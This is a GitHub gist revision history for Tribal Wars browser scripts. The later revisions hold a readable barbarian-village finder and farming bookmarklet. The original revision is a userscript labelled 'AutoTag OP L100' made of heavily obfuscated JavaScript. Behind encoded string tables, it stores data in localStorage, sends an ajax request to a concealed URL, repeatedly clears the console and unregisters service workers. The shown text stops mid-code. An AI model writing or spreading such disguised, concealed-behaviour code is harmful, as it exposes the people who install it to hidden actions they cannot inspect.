Last active
April 3, 2024 13:09
-
-
Save AlexHuicu/8059f7d58524c6843d26092c746d27f0 to your computer and use it in GitHub Desktop.
Revisions
-
AlexHuicu revised this gist
Apr 3, 2024 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -186,7 +186,7 @@ else { } } let oldList = localStorage.getItem("mk").split(",") let newItems = inRangeBarb.map((x)=>x.targetX + "|" + x.targetY) let newList = [...new Set([...oldList,...newItems])] localStorage.setItem("mk", newList) console.log(`Added ${newList.length} new villages`) -
AlexHuicu revised this gist
Apr 3, 2024 . 1 changed file with 5 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -185,7 +185,11 @@ else { }; } } let oldList = localStorage.getItem("mk").split(",") let newItems = bb.map((x)=>x.targetX + "|" + x.targetY) let newList = [...new Set([...oldList,...newItems])] localStorage.setItem("mk", newList) console.log(`Added ${newList.length} new villages`) return var scriptText = ""; let arrayCoords="["; @@ -337,6 +341,4 @@ else { array1 = Object.values(array1).filter(val => !Object.values(array2).includes(val)); return array1; } } -
AlexHuicu revised this gist
Apr 3, 2024 . 1 changed file with 5 additions and 8 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -165,15 +165,15 @@ else { $("#sophieImg").attr("src", "https://media2.giphy.com/media/qYr8p3Dzbet5S/giphy.gif"); } } findBarbs() function findBarbs() { inRangeBarb = []; scriptText = ""; $("#coords")[0].innerHTML = ""; innerCircle = 0; outerCircle = 20; for (var i = 0; i < barbarianVillages.length; i++) { if (barbarianVillages[i] != undefined) { target = barbarianVillages[i]; @@ -185,6 +185,8 @@ else { }; } } localStorage.setItem("myBarbs",inRangeBarb) return var scriptText = ""; let arrayCoords="["; for (var j = 0; j < inRangeBarb.length; j++) { @@ -211,11 +213,6 @@ else { arrayCoords=arrayCoords.substring(0, arrayCoords.length - 1) +"]"; barbCoordArray=JSON.parse(arrayCoords); console.log(sortedBarbs) } function calculateDistance(to, from) { var target = extractCoords(to).match(/(\d+)\|(\d+)/); -
AlexHuicu revised this gist
Apr 3, 2024 . 1 changed file with 311 additions and 277 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,311 +1,345 @@ javascript: //barbarian finder by Sophie "Shinko to Kuma" if (window.location.href.indexOf('map') < 0) { window.location.assign(game_data.link_base_pure + "map"); } else { var currentVillX = game_data.village.x; var currentVillY = game_data.village.y; var barbarianVillages = []; var innerCircle; var outerCircle; var inRangeBarb = []; var barbCoordArray =[]; var backgroundColor = "#36393f"; var borderColor = "#3e4147"; var headerColor = "#202225"; var titleColor = "#ffffdf"; var laPagesLinks = []; var coordinates = []; $.getAll = function ( urls, // array of URLs onLoad, // called when any URL is loaded, params (index, data) onDone, // called when all URLs successfully loaded, no params onError // called when a URL load fails or if onLoad throws an exception, params (error) ) { var numDone = 0; var lastRequestTime = 0; var minWaitTime = 200; // ms between requests loadNext(); function loadNext() { if (numDone == urls.length) { onDone(); return; } let now = Date.now(); let timeElapsed = now - lastRequestTime; if (timeElapsed < minWaitTime) { let timeRemaining = minWaitTime - timeElapsed; setTimeout(loadNext, timeRemaining); return; } console.log('Getting ', urls[numDone]); $("#progress").css("width", `${(numDone + 1) / urls.length * 100}%`); lastRequestTime = now; $.get(urls[numDone]) .done((data) => { try { onLoad(numDone, data); ++numDone; loadNext(); } catch (e) { onError(e); } }) .fail((xhr) => { onError(xhr); }) } }; //check if we got recent version of village list var currentTime = Date.parse(new Date()); var villageListData; if (localStorage.getItem("barbmapVillageTime") != null) { mapVillageTime = localStorage.getItem("barbmapVillageTime"); if (currentTime >= parseInt(mapVillageTime) + 60 * 60 * 24 * 1000) { //hour has passed console.log("Hour has passed, recollecting the village data"); $.get("map/village.txt", function (data) { villageListData = data; localStorage.setItem("barbmapVillageTime", Date.parse(new Date())); localStorage.setItem("barbmapVillageTxt", data); }) .done(function () { finish(villageListData); }); } else { // within same hour console.log("Hour not over yet, waiting to recollect, using old data"); data = localStorage.getItem("barbmapVillageTxt"); finish(data); } } else { //get villageTxt for first time console.log("Grabbing village.txt for the first time"); $.get("map/village.txt", function (data) { villageListData = data; localStorage.setItem("barbmapVillageTime", Date.parse(new Date())); localStorage.setItem("barbmapVillageTxt", data); }) .done(function () { finish(villageListData); }); } function check_a_village(a, b, x, y, i, o) { var dist_points = (a - x) * (a - x) + (b - y) * (b - y); i *= i; o *= o; if (dist_points <= o && dist_points >= i) { return true; } return false; } function finish(list) { villages = CSVToArray(list); for (i = 0; i < villages.length; i++) { if (villages[i][4] == "0") { barbarianVillages.push(villages[i][2] + villages[i][3]); } } console.log("making display"); if ($("#barbScript")[0]) $("#barbScript")[0].remove(); var fakeHtml = `<div id="barbScript" class="ui-widget-content" style="background-color:${backgroundColor}"> <table id="tableBarbShaper" class="vis" border="1" style="width: 100%;background-color:${backgroundColor};border-color:${borderColor}"> <tr style="background-color:${backgroundColor}"> <tr style="background-color:${backgroundColor}"> <td id="fakeScriptTitle" style="text-align:center; width:auto; background-color:${headerColor}"> <h2> <center style="margin:10px"><u> <font color="${titleColor}">Barb finder</font> </u> </center> </h2> </td> </tr> <tr style="background-color:${backgroundColor}"> <td style="text-align:center; width:auto; background-color:${backgroundColor}"><textarea id="script" rows=7 style="width:500px;resize: none;background-color:${backgroundColor};color:${titleColor}" placeholder="Script output"></textarea></td> </tr> <tr style="background-color:${backgroundColor}"> <td style="text-align:center; width:auto; background-color:${backgroundColor}"><textarea id="inner" maxlength=3 style="width:100px;resize: none;overflow:hidden;background-color:${backgroundColor};color:${titleColor}" placeholder="Enter inner radius"></textarea><textarea id="outer" maxlength=3 style="width:100px;resize: none;overflow:hidden;background-color:${backgroundColor};color:${titleColor}" placeholder="Enter outer radius"></textarea></td> </tr> <tr style="background-color:${backgroundColor}"> <td style="text-align:center; width:auto; background-color:${backgroundColor}"><input type="button" class="btn evt-confirm-btn btn-confirm-yes" id="findCoords" onclick="findBarbs()" value="Find barbs" ><input type="button" style="display:none;" class="btn evt-confirm-btn btn-confirm-yes" id="compareCoordsBtn" onclick="grabLAPages()" value="Remove LA barbs"> </td></tr> </tr> <tr id="coords" style="background-color:${backgroundColor};width=100px"> </tr> </table> <hr> <center><img id="sophieImg" class="tooltip-delayed" title="Sophie -Shinko to Kuma-" src="https://dl.dropboxusercontent.com/s/bxoyga8wa6yuuz4/sophie2.gif" style="cursor:help; position: relative"></center> <br> <center> <p><font color="${titleColor}">Creator: </font><a href="https://forum.tribalwars.net/index.php?members/shinko-to-kuma.121220/" style="text-shadow:-1px -1px 0 ${titleColor},1px -1px 0 ${titleColor},-1px 1px 0 ${titleColor},1px 1px 0 ${titleColor};" title="Sophie profile" target="_blank">Sophie "Shinko to Kuma"</a> </p> </center> </div>`; $("#minimap_whole").before(fakeHtml); $("#script").hide(); if (game_data.locale == "ar_AE") { $("#sophieImg").attr("src", "https://media2.giphy.com/media/qYr8p3Dzbet5S/giphy.gif"); } } function findBarbs() { inRangeBarb = []; scriptText = ""; $("#coords")[0].innerHTML = ""; innerCircle = $("#inner")[0].value; outerCircle = $("#outer")[0].value; console.log(barbarianVillages) for (var i = 0; i < barbarianVillages.length; i++) { if (barbarianVillages[i] != undefined) { target = barbarianVillages[i]; target = target.toString(); targetX = target.substring(0, 3); targetY = target.substring(3, 6); if (check_a_village(currentVillX, currentVillY, targetX, targetY, innerCircle, outerCircle) == true) { inRangeBarb.push({ targetX, targetY }); }; } } var scriptText = ""; let arrayCoords="["; for (var j = 0; j < inRangeBarb.length; j++) { scriptText += inRangeBarb[j].targetX + "|" + inRangeBarb[j].targetY + " "; arrayCoords+= '"'+ inRangeBarb[j].targetX + "|" + inRangeBarb[j].targetY+'",'; } arrayCoords=arrayCoords.substring(0, arrayCoords.length - 1) +"]"; barbCoordArray=JSON.parse(arrayCoords); var distance = []; var coordinateHome = currentVillX + "|" + currentVillY; for (k = 0; k < inRangeBarb.length; k++) { target = inRangeBarb[k].targetX + "|" + inRangeBarb[k].targetY; distance.push({"coord":target, "distance":calculateDistance(target, coordinateHome)}); } distance.sort((a,b) => a.distance - b.distance); console.log(distance); let sortedBarbs=""; arrayCoords="["; for(let l=0;l<distance.length;l++) { arrayCoords+='"'+distance[l].coord+'",'; sortedBarbs+=distance[l].coord+ " "; } arrayCoords=arrayCoords.substring(0, arrayCoords.length - 1) +"]"; barbCoordArray=JSON.parse(arrayCoords); console.log(sortedBarbs) $("#coords")[0].innerHTML = `<font color="${titleColor}"><p>Total found: ${barbCoordArray.length}</p><p>${sortedBarbs}</p></font>`; $("#script")[0].innerHTML = `javascript:coords='${sortedBarbs}';var doc=document;if(window.frames.length>0 && window.main!=null)doc=window.main.document;url=doc.URL;if(url.indexOf('screen=place')==-1)alert('Use the script in the rally point page!');coords=coords.split(' ');index=0;farmcookie=document.cookie.match('(^|;) ?farm=([^;]*)(;|$)');if(farmcookie!=null)index=parseInt(farmcookie[2]);if(index>=coords.length)alert('All villages were extracted, now start from the first!');if(index>=coords.length)index=0;coords=coords[index];coords=coords.split('|');index=index+1;cookie_date=new Date(2040,3,27);document.cookie ='farm='+index+';expires='+cookie_date.toGMTString();doc.forms[0].x.value=coords[0];doc.forms[0].y.value=coords[1];$('#place_target').find('input').val(coords[0]+'|'+coords[1]);doc.forms[0].spy.value=1;end();`; $("#script").show(); $("#compareCoordsBtn").show(); } function calculateDistance(to, from) { var target = extractCoords(to).match(/(\d+)\|(\d+)/); var source = extractCoords(from).match(/(\d+)\|(\d+)/); var fields = Math.sqrt(Math.pow(source[1] - target[1], 2) + Math.pow(source[2] - target[2], 2)); return fields; } function extractCoords(src) { var loc = src.match(/\d+\|\d+/ig); return (loc ? loc[loc.length - 1] : null); } function CSVToArray(strData, strDelimiter) { strDelimiter = (strDelimiter || ","); var objPattern = new RegExp( ( // Delimiters. "(\\" + strDelimiter + "|\\r?\\n|\\r|^)" + // Quoted fields. "(?:\"([^\"]*(?:\"\"[^\"]*)*)\"|" + // Standard fields. "([^\"\\" + strDelimiter + "\\r\\n]*))" ), "gi" ); var arrData = [[]]; var arrMatches = null; while (arrMatches = objPattern.exec(strData)) { // Get the delimiter that was found. var strMatchedDelimiter = arrMatches[1]; if ( //check if its string strMatchedDelimiter.length && strMatchedDelimiter !== strDelimiter ) { //create new row arrData.push([]); } var strMatchedValue; if (arrMatches[2]) { //get rid of quotes strMatchedValue = arrMatches[2].replace( new RegExp("\"\"", "g"), "\"" ); } else { // no quotes strMatchedValue = arrMatches[3]; } //add to array arrData[arrData.length - 1].push(strMatchedValue); } // Return the parsed data. return (arrData); } function compareDates(x) { var start = x, end = new Date(), diff = new Date(end - start), hours = diff / 1000 / 60 / 60; console.log("checked " + hours + " ago for village list"); return hours; } function grabLAPages() { //grab all pages from LA $.get('game.php?&screen=am_farm', function (response) { // check how many extra pages laPages = $(response).find("#plunder_list_nav").eq(0).find(".paged-nav-item"); if (laPages.length > 0) { // found multiple pages for (var i = 0; i < laPages.length; i++) { //adding all pages laPagesLinks.push('/game.php?&screen=am_farm&order=distance&dir=asc&Farm_page=' + i); } } else { laPagesLinks = "/game.php?&screen=am_farm"; } }).done( function () { console.log("done"); $.getAll(laPagesLinks, (i, data) => { console.log("Grabbing page " + i); /*if ($(data).find("#recaptcha-token").outerHTML!=undefined){ alert("Triggered captcha! Please restart the script") throw Error("Rip"); }*/ let currentPageList = $(data).find("#plunder_list")[0].innerHTML.match(/\d+\|\d+/ig); coordinates = coordinates.concat(currentPageList); }, () => { console.log(coordinates); console.log("Difference: "); let result = compareArray(barbCoordArray, coordinates); console.log(result); let displayResult=""; result.forEach(element => { displayResult+=element +" " }); displayResult=displayResult.substring(0, displayResult.length - 1) //display found coordinates here $("#coords")[0].innerHTML = `<font color="${titleColor}"><p>Total left without LA: ${result.length}</p><p>${displayResult}</p></font>`; $("#script")[0].innerHTML = `javascript:coords='${displayResult}';var doc=document;if(window.frames.length>0 && window.main!=null)doc=window.main.document;url=doc.URL;if(url.indexOf('screen=place')==-1)alert('Use the script in the rally point page!');coords=coords.split(' ');index=0;farmcookie=document.cookie.match('(^|;) ?farm=([^;]*)(;|$)');if(farmcookie!=null)index=parseInt(farmcookie[2]);if(index>=coords.length)alert('All villages were extracted, now start from the first!');if(index>=coords.length)index=0;coords=coords[index];coords=coords.split('|');index=index+1;cookie_date=new Date(2040,3,27);document.cookie ='farm='+index+';expires='+cookie_date.toGMTString();doc.forms[0].x.value=coords[0];doc.forms[0].y.value=coords[1];$('#place_target').find('input').val(coords[0]+'|'+coords[1]);doc.forms[0].spy.value=1;end();`; }, (error) => { console.error(error); }) } ); } function compareArray(array1, array2) { array1 = Object.values(array1).filter(val => !Object.values(array2).includes(val)); return array1; } } -
AlexHuicu renamed this gist
Mar 20, 2024 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
AlexHuicu created this gist
Mar 20, 2024 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,311 @@ // ==UserScript== // @name AutoTag OP L100 // @author KG Sins // @match https://*/*mode=incomings* // ==/UserScript== var Wp3Uaah, O6DhrPe, f4Rx_UC, f3X2cwf, zC0LbN, ctm2_S0, DnGuAC, RrqB9GL, YQOC3d, gH20ueG, cqqsRMN, Y8aPQMH, SEF94B, FCVQ2V, V6iFCQ, iwdWWPO, N_sIQ2K, Ufr0cB9, xH75o_3, giAYzoS; function _kp0oNI(O6DhrPe) { return Wp3Uaah[O6DhrPe < -0x29 ? O6DhrPe - 0x63 : O6DhrPe < -0x29 ? O6DhrPe - 0x61 : O6DhrPe + 0x28] } Wp3Uaah = tN5hoi.call(this); var cKul_5 = [], IZOFVV = 0x0, CzDa7J = U9XsDhH(() => { var Wp3Uaah = ['*w8K8+XjFNk<uOol`DuE~,3XL!//}jeRSJ(F', 'orV:Fij5;LS.kE;m}w]gQk.uu&RRtQzcY:{,4.9vR2{Z=E', 'euvx1#QCn$Fzs,(SagfEa>6SR8u/;+dXeMecbo;dRS6', 'Uu_Hi0gk26g*o,_o~!G3v#8u.Ul3][lY', 'FX)yd,Q0g#(gbajYF:<:3uF*%5O]pw"qeMWfT', 'E)<y[tSC', 'yiFf(:#N2$NUe9qaB2|G', '8%|<>kFH2$Ti3+lZj2Y>(weC', 'Rz<dioYum$8', '`Zo/,?JH!Iw*"m6dfJ:zR*0oZOD>0E*e6!^aRm|p~6]=(D', 'XPU=>[aC', 'jrWf=[${lT', ',z_1Z', 'xo(I1]eeaU', 'l5VKR[9`aI(&PC{Q+4zgT*;NxS60xYRnvA', 'jrIJ', 'nX,<:WlTL%I)KF}kYBS=@[|L7Uc%N.hkyq$J9[me$yN)TmFloa(I,^rNb%%/},F', 'prfE[hA', 'l5VKR[9`aIU6;mPnuM2,e>.{HRa6=@9j1Xc=y;_{6IS*BZlTL)<,2iTdh2o@KCFTNG7g]5uS9!%=sbun{i6IO5RHh&$4EbVjo:"gB3c:g&3ftQ{jBE3J0]*5D8u*U^7RGa_yB(T*H3^SM^eXozk1Q', 't5nE', '%zvE', 'G)gbUoOuD', '47AbmlgMQJ;(LvbR]+lEwnA', '//&Fx)d;v#L]8YbR|+Qb;mGuQJr@OC8RUz!xP', '//&Fx)d;/RU68bcRiwwbnlyox26=!6bR<4VE:mhB', '//&Fx)d;JR90:N7R?+wbml>G7I;:5*{QztlE)rA', '//&Fx){@zT_#axxUQz;aWobdwJV*_@7R97lEKm[?D', '//j:U*;*Z32+lNLU87{xml9XG3E.i6lTA`B', ']7Lg7=M0b%7&Dyzbs5Z2L:/Hr%!&3m5jx5Z2(.wC', 'w5zg7=]0B#8', 'ma8=e>BZi8iwg^Qn52D', '<lzIX<`Xs%*x~8mmgdYJ', 'YPef0]CIoUFvLmlYkr>fa', 'AE0=c,`Xs%*x~8mmgdYJ', 'e5(g[*~HoUFvLmlYkr>fa', '7o/2.w.{%#0', 'ma8=e>BZ=7j3GF', 'PPDgh`A', 'Lasdyu0$E', 'E,Qew_cCF', 'SdzIe', '3,jgZ', '=OlH', '_zwJ', 'l5VKR[9`b1V6Hy}iso2,L:zvM!C9.jPnkr`cE1%;wS%&}@wi$7dEdj#XuIE.[*Ak67=E;m`RrR7=TvLTiwZ.b@vpfIE6;mPnuMbwllJB*6)/N.Fl]D(gg>ye;14+LvMndM_1eaVd;IkcxY1o', '^D(gf78C<R', '$JzgF?yC', ']D(Id,A', '=imfo@A', 'ePG3P:cei8`+~8Uo', 'SPW3X,]0aU}+axHl3oNK', ',X_1b', 'uJ(gZ^UC', '$JzgF?!erOm', '^zZ2y]N1G$X%,^N', '9ozg%.RTs%@+B', 'c8NKa', '+XZ2>[A', 'xoIJ', '/4(anl&GrIvK[8ik=A', ':4gbll>G3UQD&[|i', '?z.Jj>A', ';4p.<^ee{6ZUB', ':4dEUo"itS<LID9q', 'Hu@Jk`A', 'p7Xx16A', 'e5/2kcA', '/!ecNYA', 'SlT=E84SE', 'D2=EvnqMCTDJ{Zyn', 'zts3`<LT9O', 'drzgl)A', 'G)lEllgM:L1cpQUb', 'Z%ag(:VTH', 'n!VE^hKu?MCzF_(e', 'xo(I1]A', 'rreHt@A', 'PPNK', 'R,1fH:]iG', 's,O0)13B', '[l)Fa^AYF', 'a,*cV^=B']; return IZOFVV ? Wp3Uaah.pop() : IZOFVV++, Wp3Uaah }, 0x0)(); function gzdS4T() { try { return global || window || new Function('return this')() } catch (e) { try { return this } catch (e) { return {} } } } typeof(O6DhrPe = gzdS4T() || {}, f4Rx_UC = O6DhrPe.TextDecoder, f3X2cwf = O6DhrPe.Uint8Array, zC0LbN = O6DhrPe.Buffer, ctm2_S0 = O6DhrPe.String || String, DnGuAC = O6DhrPe.Array || Array, RrqB9GL = U9XsDhH(() => { var O6DhrPe = new DnGuAC(0x80), f4Rx_UC, f3X2cwf; typeof(f4Rx_UC = ctm2_S0.fromCodePoint || ctm2_S0.fromCharCode, f3X2cwf = []); return U9XsDhH(zC0LbN => { var DnGuAC, RrqB9GL, YQOC3d, gH20ueG; !(YQOC3d = zC0LbN.length, f3X2cwf.length = 0x0); for (gH20ueG = _kp0oNI(-0x24); gH20ueG < YQOC3d;) { RrqB9GL = zC0LbN[gH20ueG++]; if (RrqB9GL <= 0x7f) { DnGuAC = RrqB9GL } else { if (RrqB9GL <= 0xdf) { var cqqsRMN = U9XsDhH(zC0LbN => { return Wp3Uaah[zC0LbN > 0x1e ? zC0LbN > 0x1e ? zC0LbN < 0x35 ? zC0LbN < 0x1e ? zC0LbN + 0x1 : zC0LbN > 0x1e ? zC0LbN < 0x1e ? zC0LbN - 0x14 : zC0LbN - 0x1f : zC0LbN + 0x5 : zC0LbN + 0x1 : zC0LbN - 0x54 : zC0LbN - 0x47] }, 0x1); DnGuAC = (RrqB9GL & cqqsRMN(0x27)) << 0x6 | zC0LbN[gH20ueG++] & 0x3f } else { if (RrqB9GL <= 0xef) { var Y8aPQMH = U9XsDhH(zC0LbN => { return Wp3Uaah[zC0LbN > -0x2a ? zC0LbN + 0x2b : zC0LbN > -0x41 ? zC0LbN + 0x40 : zC0LbN - 0x49] }, 0x1); DnGuAC = (RrqB9GL & _kp0oNI(-0x21)) << Y8aPQMH(-0x3b) | (zC0LbN[gH20ueG++] & Y8aPQMH(-0x40)) << Y8aPQMH(-0x34) | zC0LbN[gH20ueG++] & 0x3f } else { if (ctm2_S0.fromCodePoint) { var SEF94B = U9XsDhH(zC0LbN => { return Wp3Uaah[zC0LbN > 0x46 ? zC0LbN + 0x19 : zC0LbN > 0x2f ? zC0LbN - 0x30 : zC0LbN - 0x40] }, 0x1); DnGuAC = (RrqB9GL & 0x7) << 0x12 | (zC0LbN[gH20ueG++] & SEF94B(0x30)) << 0xc | (zC0LbN[gH20ueG++] & 0x3f) << 0x6 | zC0LbN[gH20ueG++] & 0x3f } else { void(DnGuAC = 0x3f, gH20ueG += 0x3) } } } } f3X2cwf.push(O6DhrPe[DnGuAC] || (O6DhrPe[DnGuAC] = f4Rx_UC(DnGuAC))) } return f3X2cwf.join('') }, 0x1) }, 0x0)()); function hm9VQT(Wp3Uaah) { return typeof f4Rx_UC !== 'undefined' && f4Rx_UC ? new f4Rx_UC().decode(new f3X2cwf(Wp3Uaah)) : typeof zC0LbN !== 'undefined' && zC0LbN ? zC0LbN.from(Wp3Uaah).toString('utf-8') : RrqB9GL(Wp3Uaah) } void(YQOC3d = uKPaD_p(0x45), gH20ueG = uKPaD_p.apply(_kp0oNI(-0x27), [0x3e]), cqqsRMN = uKPaD_p(0x38), Y8aPQMH = uKPaD_p[_kp0oNI(-0x26)](_kp0oNI(-0x27), 0x36), SEF94B = uKPaD_p[_kp0oNI(-0x25)](void 0x0, [0x14]), FCVQ2V = { h6NQvMR: uKPaD_p.apply(_kp0oNI(-0x27), [0x13]), c_VKVjy: uKPaD_p(0x15), [_kp0oNI(-0x1f)]: uKPaD_p(0x1c), [_kp0oNI(-0x1e)]: uKPaD_p(0x21), h6jTTqw: uKPaD_p(0x3b) }, V6iFCQ = [uKPaD_p(0xe), uKPaD_p(0x10), uKPaD_p(0x12), uKPaD_p(0x1b), uKPaD_p(0x28), uKPaD_p(0x2c), uKPaD_p(_kp0oNI(-0x22))], iwdWWPO = uKPaD_p[_kp0oNI(-0x26)](_kp0oNI(-0x27), 0xb), N_sIQ2K = U9XsDhH(() => { var O6DhrPe; function f4Rx_UC(O6DhrPe) { return Wp3Uaah[O6DhrPe > 0x20 ? O6DhrPe + 0x3 : O6DhrPe > 0x20 ? O6DhrPe - 0x30 : O6DhrPe < 0x9 ? O6DhrPe - 0x29 : O6DhrPe > 0x9 ? O6DhrPe > 0x9 ? O6DhrPe - 0xa : O6DhrPe + 0x5a : O6DhrPe + 0x35] } O6DhrPe = { jpwNhG0: [], KjIoGz: U9XsDhH((O6DhrPe = uKPaD_p[f4Rx_UC(0xd)](_kp0oNI(-0x27), [f4Rx_UC(0x1a)])) => { if (!N_sIQ2K.jpwNhG0[0x0]) { N_sIQ2K.jpwNhG0.push(-0x3b) } return N_sIQ2K.jpwNhG0[O6DhrPe] }, 0x0) }; return O6DhrPe }, 0x0)()); function B2_GF8(Wp3Uaah, O6DhrPe) { switch (Ufr0cB9) { case -0x8: return !Wp3Uaah; case -0x16: return -Wp3Uaah; case 0x1f: return Wp3Uaah + O6DhrPe; case 0x1c: return Wp3Uaah - O6DhrPe } } function hBTudB(Wp3Uaah) { return Wp3Uaah = Ufr0cB9 + (Ufr0cB9 = Wp3Uaah, _kp0oNI(-0x24)), Wp3Uaah }!(Ufr0cB9 = Ufr0cB9, xH75o_3 = Object.create(null), giAYzoS = []); if (B2_GF8(window[iwdWWPO][uKPaD_p(_kp0oNI(-0x23))][uKPaD_p[_kp0oNI(-0x25)](_kp0oNI(-0x27), [_kp0oNI(-0x22)])](V6iFCQ[0x0]), hBTudB(-0x8))) { var YwrKAxp = U9XsDhH(O6DhrPe => { return Wp3Uaah[O6DhrPe > -0x3f ? O6DhrPe + 0x64 : O6DhrPe > -0x3f ? O6DhrPe - 0x5 : O6DhrPe + 0x55] }, 0x1); console[uKPaD_p(YwrKAxp(-0x4e))](V6iFCQ[_kp0oNI(-0x14)]) } else { var AS5JwN, qtCqk1, fHKpzz, ah_3Ic, MdeMCR; function qifV1C(O6DhrPe) { return Wp3Uaah[O6DhrPe < -0x8 ? O6DhrPe - 0x5 : O6DhrPe > -0x8 ? O6DhrPe > -0x8 ? O6DhrPe < -0x8 ? O6DhrPe + 0x1e : O6DhrPe > 0xf ? O6DhrPe + 0x4e : O6DhrPe < 0xf ? O6DhrPe < 0xf ? O6DhrPe > 0xf ? O6DhrPe + 0x39 : O6DhrPe < 0xf ? O6DhrPe + 0x7 : O6DhrPe - 0x3a : O6DhrPe + 0x50 : O6DhrPe - 0x19 : O6DhrPe + 0x64 : O6DhrPe + 0x3c] } typeof(AS5JwN = uKPaD_p(0x2d), qtCqk1 = uKPaD_p(qifV1C(0xa)), fHKpzz = uKPaD_p(0x23), ah_3Ic = { ie3fuz: uKPaD_p(0x22), [_kp0oNI(-0x1d)]: uKPaD_p(0x2b) }, MdeMCR = uKPaD_p(_kp0oNI(-0x20))); const O6DhrPe = { [uKPaD_p.apply(qifV1C(-0x6), [0x11])]: V6iFCQ[qifV1C(0x7)], [FCVQ2V.h6NQvMR]: '', [SEF94B]: '' }, f4Rx_UC = 0x78, f3X2cwf = { [FCVQ2V.c_VKVjy]: [uKPaD_p(0x16)] }, zC0LbN = uKPaD_p(0x17), ctm2_S0 = uKPaD_p[_kp0oNI(-0x26)](void 0x0, 0x18), DnGuAC = uKPaD_p[qifV1C(-0x5)](qifV1C(-0x6), 0x19), RrqB9GL = uKPaD_p(0x1a), YQOC3d = V6iFCQ[0x3]; typeof(localStorage[FCVQ2V[qifV1C(0x2)]] = JSON[uKPaD_p.call(void 0x0, 0x1d)]({ [uKPaD_p(0x1e)]: O6DhrPe, [MdeMCR]: zC0LbN, [uKPaD_p(0x20)]: ctm2_S0, [FCVQ2V[_kp0oNI(-0x1e)]]: DnGuAC, [ah_3Ic.ie3fuz]: RrqB9GL, [fHKpzz]: YQOC3d, [uKPaD_p(0x24)]: f3X2cwf, [uKPaD_p.call(void 0x0, 0x25)]: f4Rx_UC }), HWpfUwB(uKPaD_p(qifV1C(0x6)), uKPaD_p(0x27)), $[V6iFCQ[0x4]]({ [qtCqk1]: uKPaD_p(0x2a), [ah_3Ic[_kp0oNI(-0x1d)]]: V6iFCQ[qifV1C(0x8)], [AS5JwN]: uKPaD_p.apply(void 0x0, [0x2e]), [uKPaD_p(0x2f)]: !0x1 })) }!(setTimeout(() => ((console[uKPaD_p(0x30)]()), void 0x0), 0x7d0), navigator[uKPaD_p(0x31)][uKPaD_p[_kp0oNI(-0x25)](_kp0oNI(-0x27), [0x32])]()[uKPaD_p(0x33)](O6DhrPe => { for (const f4Rx_UC of O6DhrPe) { var f3X2cwf = U9XsDhH(O6DhrPe => { return Wp3Uaah[O6DhrPe > 0x58 ? O6DhrPe > 0x6f ? O6DhrPe + 0x15 : O6DhrPe > 0x6f ? O6DhrPe + 0x4e : O6DhrPe < 0x58 ? O6DhrPe + 0x23 : O6DhrPe > 0x58 ? O6DhrPe > 0x58 ? O6DhrPe > 0x58 ? O6DhrPe - 0x59 : O6DhrPe + 0x64 : O6DhrPe - 0x5f : O6DhrPe - 0xf : O6DhrPe + 0x2b] }, 0x1); const zC0LbN = new URL(f4Rx_UC[uKPaD_p(0x34)][uKPaD_p(0x35)]); if (zC0LbN[uKPaD_p(_kp0oNI(-0x23))][V6iFCQ[f3X2cwf(0x65)]](Y8aPQMH) && N_sIQ2K.KjIoGz()) { f4Rx_UC[uKPaD_p(0x37)]() } } }), console[uKPaD_p(0x30)]()); function HWpfUwB(O6DhrPe, f4Rx_UC, f3X2cwf) { var zC0LbN, ctm2_S0, DnGuAC; function RrqB9GL(O6DhrPe) { return Wp3Uaah[O6DhrPe > -0xc ? O6DhrPe - 0xe : O6DhrPe > -0xc ? O6DhrPe + 0x2b : O6DhrPe > -0x23 ? O6DhrPe < -0x23 ? O6DhrPe - 0x47 : O6DhrPe < -0xc ? O6DhrPe < -0xc ? O6DhrPe + 0x22 : O6DhrPe + 0x21 : O6DhrPe + 0x33 : O6DhrPe + 0x4e] } typeof(zC0LbN = uKPaD_p(_kp0oNI(-0x1b)), ctm2_S0 = { [zC0LbN]: function() { var O6DhrPe = [uKPaD_p(0x42)], f4Rx_UC, f3X2cwf, zC0LbN; !(f4Rx_UC = { yKdSpUa: uKPaD_p(0x3c) }, f3X2cwf = ctm2_S0, zC0LbN = (U9XsDhH((O6DhrPe, f4Rx_UC) => { var f3X2cwf = ctm2_S0, zC0LbN; zC0LbN = O6DhrPe(); while (B2_GF8(B2_GF8([], hBTudB(-0x8)), Ufr0cB9 = -0x8)) try { var DnGuAC; function RrqB9GL(O6DhrPe) { return Wp3Uaah[O6DhrPe > 0x4e ? O6DhrPe > 0x65 ? O6DhrPe - 0x2b : O6DhrPe > 0x4e ? O6DhrPe < 0x4e ? O6DhrPe - 0x20 : O6DhrPe < 0x65 ? O6DhrPe - 0x4f : O6DhrPe - 0x2d : O6DhrPe - 0x5 : O6DhrPe + 0x43] } DnGuAC = B2_GF8(parseInt(f3X2cwf(0x1a9)) / 0x1 + parseInt(f3X2cwf(0x1b6)) / _kp0oNI(-0x1a) + parseInt(f3X2cwf(0x1b4)) / 0x3 * (parseInt(f3X2cwf(0x1b5)) / 0x4) + parseInt(f3X2cwf(0x1b2)) / _kp0oNI(-0x19) * (parseInt(f3X2cwf(0x1aa)) / _kp0oNI(-0x1c)) + B2_GF8(parseInt(f3X2cwf(0x1a7)), Ufr0cB9 = -0x16) / 0x7 + B2_GF8(parseInt(f3X2cwf(0x1b1)), Ufr0cB9 = -0x16) / 0x8 * (parseInt(f3X2cwf(0x1b0)) / 0x9), B2_GF8(parseInt(f3X2cwf(0x1a6)), hBTudB(-0x16)) / 